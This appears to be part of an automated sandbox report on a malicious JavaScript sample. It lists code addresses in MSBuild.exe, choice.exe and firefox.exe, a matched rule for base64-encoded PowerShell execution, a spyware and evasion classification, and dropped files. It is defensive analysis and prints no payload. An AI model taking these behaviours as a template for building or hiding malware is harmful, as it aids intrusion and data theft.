Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01414F40	9_2_01414F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013C0F30	9_2_013C0F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013E2F28	9_2_013E2F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01442F30	9_2_01442F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0141EFA0	9_2_0141EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01392FC8	9_2_01392FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A0E59	9_2_013A0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145EE26	9_2_0145EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145EEDB	9_2_0145EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013B2E90	9_2_013B2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145CE93	9_2_0145CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0146B16B	9_2_0146B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138F172	9_2_0138F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013D516C	9_2_013D516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013AB1B0	9_2_013AB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144F0CC	9_2_0144F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145F0E0	9_2_0145F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014570E9	9_2_014570E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A70C0	9_2_013A70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145132D	9_2_0145132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0138D34C	9_2_0138D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013E739A	9_2_013E739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A52A0	9_2_013A52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014412ED	9_2_014412ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BD2F0	9_2_013BD2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BB2C0	9_2_013BB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01457571	9_2_01457571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014695C3	9_2_014695C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143D5B0	9_2_0143D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01391460	9_2_01391460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145F43F	9_2_0145F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145F7B0	9_2_0145F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013E5630	9_2_013E5630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_014516CC	9_2_014516CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01435910	9_2_01435910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A9950	9_2_013A9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BB950	9_2_013BB950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0140D800	9_2_0140D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A38E0	9_2_013A38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145FB76	9_2_0145FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01415BF0	9_2_01415BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BFB80	9_2_013BFB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013DDBF9	9_2_013DDBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01457A46	9_2_01457A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145FA49	9_2_0145FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01413A6C	9_2_01413A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0144DAC6	9_2_0144DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013E5AA0	9_2_013E5AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01441AA3	9_2_01441AA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0143DAAC	9_2_0143DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01451D5A	9_2_01451D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01457D73	9_2_01457D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A3D40	9_2_013A3D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013BFDC0	9_2_013BFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01419C32	9_2_01419C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145FCF2	9_2_0145FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145FF09	9_2_0145FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A1F92	9_2_013A1F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01363FD5	9_2_01363FD5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_01363FD2	9_2_01363FD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_0145FFB1	9_2_0145FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 9_2_013A9EB0	9_2_013A9EB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ACE4F6	10_2_04ACE4F6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AC4420	10_2_04AC4420
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD2446	10_2_04AD2446
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AE0591	10_2_04AE0591
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A20535	10_2_04A20535
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A3C6E0	10_2_04A3C6E0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A1C7C0	10_2_04A1C7C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A20770	10_2_04A20770
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A44750	10_2_04A44750
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AB2000	10_2_04AB2000
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AE01AA	10_2_04AE01AA
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD41A2	10_2_04AD41A2
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD81CC	10_2_04AD81CC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A10100	10_2_04A10100
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ABA118	10_2_04ABA118
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AA8158	10_2_04AA8158
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AA02C0	10_2_04AA02C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AC0274	10_2_04AC0274
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AE03E6	10_2_04AE03E6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A2E3F0	10_2_04A2E3F0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADA352	10_2_04ADA352
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AC0CB5	10_2_04AC0CB5
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A10CF2	10_2_04A10CF2
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A20C00	10_2_04A20C00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A38DBF	10_2_04A38DBF
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A1ADE0	10_2_04A1ADE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A2AD00	10_2_04A2AD00
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ABCD1F	10_2_04ABCD1F
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A32E90	10_2_04A32E90
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADCE93	10_2_04ADCE93
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADEEDB	10_2_04ADEEDB
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADEE26	10_2_04ADEE26
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A20E59	10_2_04A20E59
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A9EFA0	10_2_04A9EFA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A12FC8	10_2_04A12FC8
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A62F28	10_2_04A62F28
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A40F30	10_2_04A40F30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AC2F30	10_2_04AC2F30
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A94F40	10_2_04A94F40
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A068B8	10_2_04A068B8
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A4E8F0	10_2_04A4E8F0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A22840	10_2_04A22840
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A2A840	10_2_04A2A840
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A229A0	10_2_04A229A0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AEA9A6	10_2_04AEA9A6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A36962	10_2_04A36962
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A1EA80	10_2_04A1EA80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD6BD7	10_2_04AD6BD7
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADAB40	10_2_04ADAB40
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADF43F	10_2_04ADF43F
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A11460	10_2_04A11460
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ABD5B0	10_2_04ABD5B0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AE95C3	10_2_04AE95C3
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD7571	10_2_04AD7571
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD16CC	10_2_04AD16CC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A65630	10_2_04A65630
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADF7B0	10_2_04ADF7B0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD70E9	10_2_04AD70E9
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADF0E0	10_2_04ADF0E0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ACF0CC	10_2_04ACF0CC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A270C0	10_2_04A270C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A2B1B0	10_2_04A2B1B0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AEB16B	10_2_04AEB16B
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A5516C	10_2_04A5516C
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A0F172	10_2_04A0F172
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A252A0	10_2_04A252A0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AC12ED	10_2_04AC12ED
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A3D2F0	10_2_04A3D2F0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A3B2C0	10_2_04A3B2C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A6739A	10_2_04A6739A
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD132D	10_2_04AD132D
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A0D34C	10_2_04A0D34C
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADFCF2	10_2_04ADFCF2
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A99C32	10_2_04A99C32
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A3FDC0	10_2_04A3FDC0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD7D73	10_2_04AD7D73
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A23D40	10_2_04A23D40
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD1D5A	10_2_04AD1D5A
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A29EB0	10_2_04A29EB0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADFFB1	10_2_04ADFFB1
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A21F92	10_2_04A21F92
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_049E3FD5	10_2_049E3FD5
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_049E3FD2	10_2_049E3FD2
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADFF09	10_2_04ADFF09
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A238E0	10_2_04A238E0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A8D800	10_2_04A8D800
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AB5910	10_2_04AB5910
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A29950	10_2_04A29950
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A3B950	10_2_04A3B950
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A65AA0	10_2_04A65AA0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ABDAAC	10_2_04ABDAAC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AC1AA3	10_2_04AC1AA3
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ACDAC6	10_2_04ACDAC6
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A93A6C	10_2_04A93A6C
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADFA49	10_2_04ADFA49
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04AD7A46	10_2_04AD7A46
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A3FB80	10_2_04A3FB80
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A95BF0	10_2_04A95BF0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04A5DBF9	10_2_04A5DBF9
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_04ADFB76	10_2_04ADFB76
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B120F0	10_2_02B120F0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B0CFE0	10_2_02B0CFE0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B0D200	10_2_02B0D200
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B0B335	10_2_02B0B335
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B0B340	10_2_02B0B340
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B01188	10_2_02B01188
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B0B1F0	10_2_02B0B1F0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B0B1E7	10_2_02B0B1E7
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B157C0	10_2_02B157C0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B139D0	10_2_02B139D0
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B139CB	10_2_02B139CB
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_02B2BF10	10_2_02B2BF10
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048CE5EC	10_2_048CE5EC
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048CD6B8	10_2_048CD6B8
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048D5224	10_2_048D5224
Source: C:\Windows\SysWOW64\choice.exe	Code function: 10_2_048CE257	10_2_048CE257
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 11_2_000001BADB839224	11_2_000001BADB839224
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 11_2_000001BADB832257	11_2_000001BADB832257
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 11_2_000001BADB8325EC	11_2_000001BADB8325EC
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 11_2_000001BADB8316B8	11_2_000001BADB8316B8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 013D5130 appears 58 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0140EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0141F290 appears 103 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0138B970 appears 262 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 013E7E54 appears 107 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 04A8EA12 appears 86 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 04A0B970 appears 262 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 04A67E54 appears 107 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 04A9F290 appears 103 times
Source: C:\Windows\SysWOW64\choice.exe	Code function: String function: 04A55130 appears 58 times

Source: 1013911.js

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\cscript.exe	Process created: Commandline size = 4823
Source: C:\Windows\System32\cscript.exe	Process created: Commandline size = 4823			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 7464, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, TaskParameter.cs	Task registration methods: 'CreateNewTaskItemFrom'
Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, OutOfProcTaskHostNode.cs	Task registration methods: 'RegisterTaskObject', 'UnregisterPacketHandler', 'RegisterPacketHandler', 'UnregisterTaskObject', 'GetRegisteredTaskObject'
Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, TaskLoader.cs	Task registration methods: 'CreateTask'
Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, RegisteredTaskObjectCacheBase.cs	Task registration methods: 'GetLazyCollectionForLifetime', 'RegisterTaskObject', 'DisposeObjects', 'IsCollectionEmptyOrUncreated', 'UnregisterTaskObject', 'DisposeCacheObjects', 'GetRegisteredTaskObject', 'GetCollectionForLifetime'

Source: 10.2.choice.exe.2c55318.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: 10.2.choice.exe.2c55318.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: 10.2.choice.exe.2c55318.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.choice.exe.500cd14.3.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 10.2.choice.exe.500cd14.3.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.firefox.exe.1ba1cd14.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: 11.2.firefox.exe.1ba1cd14.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: 11.2.firefox.exe.1ba1cd14.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.choice.exe.500cd14.3.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: 10.2.choice.exe.500cd14.3.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: 10.2.choice.exe.500cd14.3.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: 0.2.wscript.exe.1f1acd14.0.raw.unpack, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 10.2.choice.exe.2c55318.0.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 10.2.choice.exe.2c55318.0.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 11.2.firefox.exe.1ba1cd14.0.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 11.2.firefox.exe.1ba1cd14.0.raw.unpack, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: .configAMSBUILDDIRECTORYDELETERETRYCOUNTCMSBUILDDIRECTORYDELETRETRYTIMEOUT.sln
Source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
Source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
Source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: *.sln
Source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBuild MyApp.csproj /t:Clean
Source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: /ignoreprojectextensions:.sln
Source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBUILD : error MSB1048: Solution files cannot be debugged directly. Run MSBuild first with an environment variable MSBUILDEMITSOLUTION=1 to create a corresponding ".sln.metaproj" file. Then debug that.

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winJS@15/9@3/3

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\69SP6[1].txt

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7392:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\ostaxa.js
